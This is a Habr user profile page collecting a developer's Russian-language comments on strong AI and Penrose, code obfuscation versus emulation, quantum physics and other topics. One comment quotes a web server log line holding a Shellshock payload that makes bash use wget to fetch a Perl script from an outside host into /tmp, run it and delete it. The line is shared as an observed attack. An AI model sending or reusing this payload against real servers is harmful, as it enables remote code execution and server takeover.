Search
Write a publication
Pull to refresh
18
0
Александр Карпан @AlexKarpan

Разработчик

Send message
"Сильный ИИ" — это устоявшийся термин. Грубо говоря, это вариант ИИ, который может полностью заменить человека, т.е. может выполнять интеллектуальные действия так же или лучше любого человека.
Пенроуз в книге "Тени разума" дает четыре варианта:
A. Всякое мышление есть вычисление; в частности, ощущение осмысленного осознания есть не что иное, как результат выполнения соответствующего вычисления.
B. Осознание представляет собой характерное проявление физической активности мозга; хотя любую физическую активность можно моделировать посредством той или иной совокупности вычислений, численное моделирование как таковое не способно вызвать осознание.
C. Осознание является результатом соответствующей физической активности мозга, однако эту физическую активность невозможно должным образом смоделировать вычислительными средствами.
D. Осознание невозможно объяснить в физических, математических и вообще научных терминах.
"Сильный ИИ" — это вариант А.
Что ж, спасибо и за "кг/ам" — тоже мнение :)
Насколько я знаю, собачек от котиков нейронные сети уже нормально отличают. Как раз алгоритмы в AlphaGo и обещают серьезно улучшить качество такого распознавания.
Хотя если некоторые humans предлагают вскрыть и посмотреть, то почему бы и нет… ;))
"В подавляющем большинстве случаев" — это не формальное утверждение.
Но я отвечу "по духу" вопроса: я думаю, что наш интеллект — это очень сложный самообучающийся алгоритм. Плохая новость — наш интеллект ограничен (как рациональное число не может стать числом Пи). Хорошая новость — мы можем приблизиться как угодно близко к любой сложной системе в рамках ограничений нашего физического мира.
Собственно, я поэтому и посвятил несколько абзацев статьи рассказу о субъективном опыте. Мой субъективный опыт — данные и модели, которые согласуются с этим данными — показывает, что "интеллект" человека вполне себе приводим к "механическим вычислениям" в общем виде (электронные, квантовые, вычислимые по Тьюрингу). Я не могу это доказать, но могу поделиться соображениями — что я и делаю.
Так вот, мысль в том, что и человек делает вполне себе алгоритмические вещи, когда "придумывает обходной путь". Сначала наш мозг перебирает уже известные методы и подходы, например видим в коде while(true) {… }, а в теле цикла — нет прыжков наружу — значит, цикл — бесконечный. Если не срабатывают известные методы и их комбинации, или их слишком много и это слишком долго, то человек поднимается еще на один уровень абстракции и начинает оперировать мета-методами: например, "а может сделать граф вызова процедур и пройтись по нему моим алгоритмом по незацикливанию процедуры?" и т.п. — все это тоже алгоритмично и имплементируемо. И так далее.
Я много работал с алгоритмами для алгоритмов и вижу здесь ту же ситуацию, что и "любую функцию можно как угодно точно аппроксимировать линейным многочленом", если вам о чем-то это говорит.
По поводу возмущения компьютером — моя гипотеза в том, что интеллект приходит вместе с самоосознанием, и придется "платить" эту цену для того, чтобы получать действительно умные машины.
Я согласен, что сделать человекоподобного андроида, неотличимого от человека, в ближайшие 50-70 лет — не получится.
Тем не менее, огромное число моих виртуальных знакомых вполне можно заменить сильным ИИ. Они будут лайкать фотки, твиттить умные мысли, даже выдвигать хорошие теории и постить умные статьи. Why not?
В этом смысле "сильный ИИ" — делать то же, что делают люди в информационном пространстве сейчас, только лучше. Создание музыкальных произведений, картин, научных теорий — в это определение входит. Перенос тяжестей или занятия реальным сексом — не входят.
Мне кажется, что такое мое описание "сильного ИИ" — достаточно одинаково поймут все.
А про субъективность понятия "интеллект" полностью согласен. Я довольно много общался с тех.поддержкой онлайн-банкинга и разных известных сервисов, и могу сказать, что тест Тьюринга никто из них бы не прошел :))
Теоретически, симуляция Вселенной — это правильная и разумная идея. Опять-таки, практически все оказывается не так радужно.
Вот один из "свежих" материалов: http://futurologija.ru/wp-content/uploads/2013-01-AI-and-Penrose-Futurology.pdf
Там автор вводит понятие "космологического горизонта вычислимости". Если очень коротко, то для симуляции достаточно большого куска вселенной с разумным наблюдателем внутри нам понадобится время и ресурсы, большие, чем текущая наблюдаемая Вселенная.
Вообще говоря, это понятие — нечто реально свежее в теории. Получается, у нашего пространства есть некий верхний лимит для "умности" интеллекта на единицу пространства. Но это отдельный разговор.
Про «синхронизировать часы» вы повеселили.
Дело в том, что с релятивистскими системами нет понятия одновременности — события могут быть одновременными для одного наблюдателя и неодновременными для другого.
Хорошие и правильные мысли в статье, но я слабо представляю тех, кому они действительно пригодятся.

Я уже больше 15 лет в коммерческой разработке ПО, как говорят, «состоялся». Мне часто задают вопрос «как стать программистом?». Из моего опыта — если человек не пишет хоть что-то сам для себя «на коленке», то программистом он или она не станет.

Зато эта статья более-менее дает ответ на другой вопрос: «Как совсем начинающему программисту обучиться и дорасти до уровня, с которого уже берут на работу». Это отлично, буду теперь на нее ссылаться. Спасибо!
Это не совсем так.

Пример 1:
if (SomeVar > 7) { // условие всегда истинно, но это можно определить только эмуляцией
StaticSeed(215);

} else {
StaticSeed(217);
// мусорные инструкции
}

Пример 2:
goto 200 + 4*rnd; // rnd может генерироваться как на этапе компиляции, так и на этапе выполнения

200: goto RealCode;
201: goto JunkCode2;
202: goto JunkCode3;
203: goto JunkCode4;
204: goto RealCode;


Смысл второго примера в том, что можно сгенерировать код еще на этапе компиляции, который можно будет отследить только эмуляцией, а не статическим анализом.
Имеется в виду, что будет

if (SomeVar > 7) staticSeed(SomeVar + someFunc(someOtherVar));

т.е. ключ все-таки придется вычислять эмулятором.
«В теории нет отличия между теорией и практикой, а на практике — есть» :)

Вы правы в том, что можно очень сильно усложнить анализ алгоритма декодирования и, соответственно, отсрочить написание кода для автоматического снятия защиты. (За счет, конечного пользователя, конечно же :) ) Если взлом окажется достаточно дорогим — никто не станет возиться со снятием защиты.

При этом, время выполнения защищенного кода в этом случае не влияет на его степень защищенности. Имеет значение только алгоритмическая сложность системы защиты, а она ограничена — нельзя «наворотить» бесконечно сложный алгоритм.
Все правильно, но эмуляция — проще, чем кажется :)
Значит, будут прогонять в динамике.

Дело в том, что «если опкоды хоть в какой-то момент расшифровываются, их можно стащить»
Как уже писали несколько раз в комментариях выше, для защиты обычных прикладных программ эта схема мало подходит. Вам же придется все ключи (staticSeed) распространять вместе с копией закодированной программы. Будьте уверены, хакеры возьмут ваш же кусок кода для декодирования и прогонят его по всей программе, по всему графу.

В виртуальной машине PHP еще проще/сложнее/веселее — там операнды для опкодов хранятся отдельно. Так вот, при желании, даже не зная ключей, по операндам можно восстановить практически всю логику:
<***> «secret_password» -> var1
<***> «base64_encode» -> var2
<***> var2 -> var3
<***> #200; условный переход
(упростил для демонстрации)

Я вижу некое возможное применение вашей идеи для тех случаев, когда часть функционала становится доступна только после нахождения новых ключей (клиент для онлайн-игры? adventure game?) Но даже в этом случае можно просто шифровать отдельные подключаемые модули целиком и не возиться с опкодами.
И у меня нашлось, код шелла еще на месте:

174.143.168.121 - - [29/Sep/2014:14:32:18 +0100] "GET //cgi-bin/bash HTTP/1.0" 404 274 "-" "() { :;}; /bin/bash -c \"wget http://legendsoftwares.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\""
Мне очень понравился весь цикл «Гипериона» за масштабность и смелость идей.

Могу посоветовать «Анафем» Нила Стивенсона — он короче, более приближен к нам и перекликается с темой этой статьи.
Правильное замечание.
Тогда нужно уточнить, что «не наблюдается в повседневности в физическом мире», а не в мире абстракций.
Вот я когда-то первым делом об этом чуваке и подумал :)
Для тех, кто не вникал в квантовую физику, тут надо уяснить для себя всего одну новую концепцию — состояние «суперпозиции», когда частица находится одновременно во всех возможных состояниях. Я в том смысле, что это что-то, чего не наблюдается в нашей повседневной жизни.

Лично мне очень понравилось продолжение этой идеи, что и события в прошлом тоже переходят в состояние как бы «суперпозиции», как только теряется информация о том, как все было на самом деле. Грубо говоря, мы сейчас точно знаем, что Ленин реально существовал, а если через 2 тысячи лет земляне переберутся на Марс, а Земля взорвется, то для них будет вполне нормально считать, что Ленин и существовал и не существовал одновременно.
Ну вот если простыми словами, то сначала думали так же: один шарик — красный, второй шарик — зеленый. Посмотрели цвет одного, узнали цвет другого. Это как раз «теория скрытых параметров» — цвет есть, просто мы его не знаем.
А более сложный опыт показал, что цвета нет вообще, пока мы его не проверяем.
Так как третья задача симметрична относительно цветов марок, то, предположив, что «задача имеет решение и оно единственное» — это решение может быть только: 1 зеленая и 1 красная марка :)

Information

Rating
Does not participate
Location
Киев, Киевская обл., Украина
Registered
Activity